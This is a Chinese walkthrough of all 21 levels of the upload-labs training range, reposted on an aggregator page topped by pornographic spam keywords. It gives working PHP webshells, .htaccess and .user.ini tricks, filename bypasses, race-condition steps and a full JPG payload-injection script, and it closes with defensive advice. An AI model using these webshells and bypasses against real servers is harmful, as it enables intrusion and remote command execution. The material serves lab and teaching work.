日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

upload-labs 全21关 write-up

發布時間:2023/12/18 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 upload-labs 全21关 write-up 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

upload-labs

從經典靶場入手,看文件上傳發展經歷

下載

upload-labs是一個使用php語言編寫的,專門收集滲透測試和CTF中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的了解。目前一共20關,每一關都包含著不同上傳方式。

下載地址:https://github.com/c0ny1/upload-labs/releases

在 win 環境下 直接解壓到phpstudy下即可

繞過方式

從以下練習中提煉出文件上傳的繞過方式

  • 上傳文件類型不收限制

  • 前端Javascript校驗 - Burp抓包改包繞過

  • 利用缺陷的文件上傳驗證

  • 文件類型驗證缺陷 - 通過不常見的后綴繞過 比如:php3,php5等等
  • 上傳目錄限制文件類型 - 嘗試利用目錄遍歷將文件上傳到其他目錄
  • 后綴限制 - 通過.htaccess 欺騙服務器擴展任意自定義文件后綴到已知的MIME類型;利用.user.ini 包含jpg文件到任意已存在php文件中
  • 黑名單限制 - 利用后端解析差異
  • ., 空格,::$DATA
  • Apache 解析漏洞,Nginx解析漏洞,IIS解析漏洞
  • 對上傳 . / 進行二次編碼,適合驗證文件名擴展沒有解碼,服務端被解碼
  • 利用 ;,%00繞過PHP,Java 高級語言編寫,服務器使用 C/C++低級函數處理文件差異
  • 黑名單過濾后綴 - 通過雙寫繞過

  • 文件內容檢查 - 通過添加允許文件頭格式繞過

  • 通過條件競爭實現文件上傳

  • 練習

    靶場練習主要針對后端檢查繞過,從黑白名單,后端檢查的內容和代碼邏輯幾個方面提出不同的繞過方式

    有些繞過方式較為久遠,我就簡單介紹,其他可以在現階段使用的上傳手法給予較多的關注

    Pass-1 Javascript 前端檢查

    一般 都是通過 JS 限制上傳的文件類型,對于這種情況,我們可以采用以下幾種方式繞過

    • 修改JS文件
    • 上傳png后綴的webshell,代理抓包,修改上傳的文件后綴 (推薦)
    • 禁用js

    靶場實戰

  • 上傳webshell.png 文件內容為:<?php @system($_GET['cmd']); ?>
  • burp 抓包 ,修改文件名為ceshi.php
  • 成功上傳后,找到上傳圖片的位置,訪問 GET /xxx/ceshi.php?cmd=whoami
  • burp 修改上傳文件名的位置

    獲取到圖片位置,通過GET方式傳入 cmd 參數來獲取執行系統命令

    Pass-2 文件類型檢查有缺陷

    對文件類型檢查有缺陷-檢查Content-Type標頭是否與MIME 類型匹配。

    繞過方式:

  • 上傳 webshell.php 內容為:<?php @system($_GET['cmd']); ?>
  • 抓包 修改上傳的Content-Type 類型為允許的類型 image/jpeg
  • 放包,收到成功上傳
  • 復制文件上傳的路徑,請求 GET /upload/upload/webshell.php?cmd=whoami
  • Pass-3 黑名單限制不完全

    對于黑名單限制上傳文件后綴的 可以通過以下幾種方式繞過

  • 通過使用可被執行但不常見的后綴名,比如 php5,shtml等等
  • 上傳惡意的配置文件(Apache .htaccess) 欺騙服務器將任意自定義文件擴展名映射到可知執行的MIME類型
  • 利用后端解析差異繞過限制
  • 添加尾隨字符,一些組件會去除或忽略尾隨空格、點等:exploit.php. /exploit.php+空格
  • 對點,斜杠 使用URL 編碼, 如果驗證文件擴展名時沒有解碼,在服務端被解碼,繞過黑名單限制, exploit%2Ephp
  • 在文件擴展名前添加分號或 URL 編碼的空字節字符。如果驗證是用 PHP 或 Java 等高級語言編寫的,但服務器使用 C/C++ 中的低級函數處理文件,例如,這可能會導致文件名結尾出現差異:exploit.asp;.jpg或exploit.asp%00.jpg
  • 靶機實戰

  • 上傳 webshell.php3 內容為:<?php @system($_GET['cmd']); ?>
  • 復制文件上傳的路徑,請求 GET /upload/upload/20200304.php5?cmd=whoami
  • Pass-4 .htaccess 擴展后綴名

    測試上傳的后綴, php1 php2 php3 都不行,后綴被限制了,嘗試上傳 .htaccess 添加擴展后綴

  • 上傳 .htaccess 內容為:AddType application/x-httpd-php .l33t

  • 上傳 webshell.l33t 內容為:<?php @system($_GET['cmd']); ?>

  • 訪問文件,執行webshell

  • Pass-5 .user.ini

    本關在上傳目錄下存在readme.php的php文件,可以利用 .user.ini 文件 使得運行 readme.php 時 包含上傳的圖片,相當于readme.php也有webshell.php。

    user.ini

    auto_prepend_file=web.jpg

    web.jpg

    <?php @eval($_GET['cmd']) ?>

    Pass-6 大小寫繞過

    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);

    服務器端檢查后綴時忽略了對大小寫的檢測,故可以通過大寫后綴繞過

    Pass-7 黑名單限制不完全- 空格

    if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5"," .......,".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

    后端檢測沒有去掉首尾空格,于是上傳 shell.php+空格

    Pass-8 黑名單限制不完全 - 點

    源碼中沒有過濾 .

    上傳時文件名為webshell.php.,繞過對后綴的檢查

    Pass-9 黑名單限制不完全 - ::$DATA

    源碼中未對 ::$DATA 過濾

    在window的時候如果文件名+"::DATA"會把::DATA"會把::DATA"::DATA之后的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,他的目的就是不檢查后綴名

    例如:“webshell.php::DATA"Windows會自動去掉末尾的::DATA"Windows會自動去掉末尾的::DATA"Windows::DATA變成"webshell.php”

    上傳 webshell.php::$DATA

    服務端會創建對應的php文件

    Pass-10 黑名單限制不完全 - 過濾不全

    $file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

    使用 deldot() 刪除文件名末尾的點

    deldot() 函數從末尾向前檢測,檢測到第一個點后,會繼續向前檢測,但遇到空格會停下來

    可以構造文件名: webshell.php. . 繞過檢測

    Pass-11 黑名單限制不完全 - 雙寫繞過

    $deny_ext = array("......");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;

    源碼中 使用 str_ireplace 不區分大小寫替換,只是替換了一次,我們可以利用雙寫繞過檢查

    上傳文件名 :webshell.p.phphp

    上傳時會被刪除 .php

    最后的上傳文件名: webshell.php

    Pass-12 上傳路徑可控

    條件: php版本 < 5.3.4 ; magic_quotes_gpc=Off

    strrpos(string,find,start) 函數查找字符串在另一字符串中最后一次出 現的位置(區分大小寫)。

    substr(string,start,length) 函數返回字符串的一部分**(從start開始 ,長度為 length)*

    $ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    源碼中對后綴進行白名單檢測,只允許 jpg ,png,gif

    但上傳的路徑可控,這里可以使用 %00截斷

  • 上傳webshell.jpg的一句話木馬
  • save_path=../upload/webshell.php%00
  • 成功上傳后,%00后的不會被識別
  • Pass-13 上傳路徑可控2

    $ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    路徑可控位置在POST 數據中

    在burp 中 hex 請求數據中,修改php后的字節為00,

    POST 不會對數據自動解碼,所以修改HEX 中內容

    Pass-14 文件內容檢測

    源碼讀取前2個字節判斷上傳文件的類型,判斷通過后,便重新給文件賦予新的后綴名

    在這一關,除了上傳,還存在一個 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞請求上傳的文件

    構造:include.php?file=upload/shell.jpg ,include 會以本文的形式讀取shell.jpg的內容,這樣存在于shell.jpg里的一句話木馬就可以執行

    圖片文件頭格式:

    文件頭部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

    PNG文件頭: 89 50 4E 47 0D 0A 1A 0A

    JPG文件頭: FF D8 FF

    GIF (gif)文件頭:47494638

    Pass-15 文件內容檢測

    image_type_to_extension 根據指定的圖像類型返回對應的后綴名

    和Pass-14 做法一致

    Pass-16 文件內容檢測

    exif_imagetype() 判斷一個圖像的類型,讀取一個圖像的第一個字節并檢查其簽名。

    本函數可用來避免調用其它 exif 函數用到了不支持的文件類型上或和 [$_SERVER’HTTP_ACCEPT’] 結合使用來檢查瀏覽器是否可以顯示某個指定的圖像。

    需要開啟 php_exif模塊

    做法和Pass-14 一致

    Pass-17 二次渲染

    上傳的圖片和上傳后的圖片大小不一致,斷定這里存在圖片二次渲染

    繞過方法:測試圖片的渲染后沒有修改的位置,將一句話木馬添加進去,這樣就可以利用文件包含去執行php一句話木馬了

    對于GIF 的上傳,只需要判斷沒有修改的位置,然后將php一句話木馬添加即可

    對于PNG的上傳,需要修改PLTE數據塊或者修改IDAT數據塊,

    這里可以利用別人寫好的腳本,將php一句話 <?=$_GET[0]($_POST[1])?>,一句話利用了php短開標簽

    另一個要注意的點,0 這里不用使用eval,eval是一個語言構造器,而不是一個函數,不能被可變函數調用;

    對于JPG 的上傳

    命令: php jpg_paload.php 1.jpg

    1.jpg 為正常的圖片,執行后得到新的payload_1.jpg 為添加php一句話木馬后的

    <?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>

    另一個方式:

    在move_uploaded_file($tmpname,$target_path)返回true的時候,就已經成功將圖片馬上傳到服務器了,

    所以我們可以利用這個上傳的間隙去執行php文件,實現繞過。

    Pass-18 條件競爭

    if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);

    源碼中的邏輯:這里先將文件上傳到服務器,然后通過rename修改名稱,再通過unlink刪除文件,因此可以通過條件競爭的方式在unlink之前,訪問webshell。

    條件競爭漏洞:由于服務器端在處理不同的請求時是并發進行的,因此如果并發處理不當或相關操作順序設計的不合理時,將會導致此類問題的發生

    觸發:

    將上傳頁面和文件包含觸發漏洞頁面發送到Burp的intruder,然后payload設置為null,即可觸發條件競爭漏洞

    Pass-19 條件競爭漏洞

    對文件后綴名做了白名單判斷,然后會一步一步檢查文件大小、文件是否存在等等,將文件上傳后,對文件重新命名,同樣存在條件競爭的漏洞。可以不斷利用burp發送上傳圖片馬的數據包,由于條件競爭,程序會出現來不及rename的問題,從而上傳成功

    在這一關要注意上傳后的文件名:uploadxxx.jpg

    成功上傳還沒重命名的,通過include.php實現包含

    Pass-20 文件名可控

    save_name 可控,可以通過 .,空格,00截斷繞過對后綴的判斷,

    Pass-21多個條件繞過

    if(!empty($_FILES['upload_file'])){//檢查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上傳該類型文件!";}else{//檢查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上傳該后綴文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上傳成功!";

    源碼邏輯:

  • 檢查MIME (通過抓包改Content-Type 繞過)
  • 判斷 POST參數 save_name 是否為空,
  • 判斷$file 是否為數組,不是數組以 .分割化為數組
  • 取 $file 最后一個元素,作為文件后綴進行檢查
  • file第一位和第‘file 第一位和第`filefile[count($file) - 1]`作為文件名和后綴名保存文件
  • 故:

    上傳 webshell.php, 修改save_name 為數組 繞過對file的切割,最后file 的切割,最后filefile 最后一個元素是 save_name[2] = jpg 繞過后綴檢測 , 然后reset($file) = webshell.php

    $file[1] 沒有定義為空,count($file) 的值為$file[count($file) - 1] = $file[1]

    所以最后上傳的文件為webshell.php

    文件上傳總結

    允許用戶上傳文件是司空見慣的事,只要您采取正確的預防措施,就不一定會有危險。一般來說,保護您自己的網站免受這些漏洞影響的最有效方法是實施以下所有做法:

    • 根據允許擴展名的白名單而不是禁止擴展名的黑名單檢查文件擴展名
    • 確保文件名不包含任何可能被解釋為目錄或遍歷序列 ( …/) 的子字符串。
    • 重命名上傳的文件以避免可能導致現有文件被覆蓋的沖突。
    • 在完全驗證之前不要將文件上傳到服務器的永久文件系統。
    • 盡可能使用已建立的框架來預處理文件上傳,而不是嘗試編寫自己的驗證機制。

    文章首發于個人微信公眾號:石頭安全

    總結

    以上是生活随笔為你收集整理的upload-labs 全21关 write-up的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。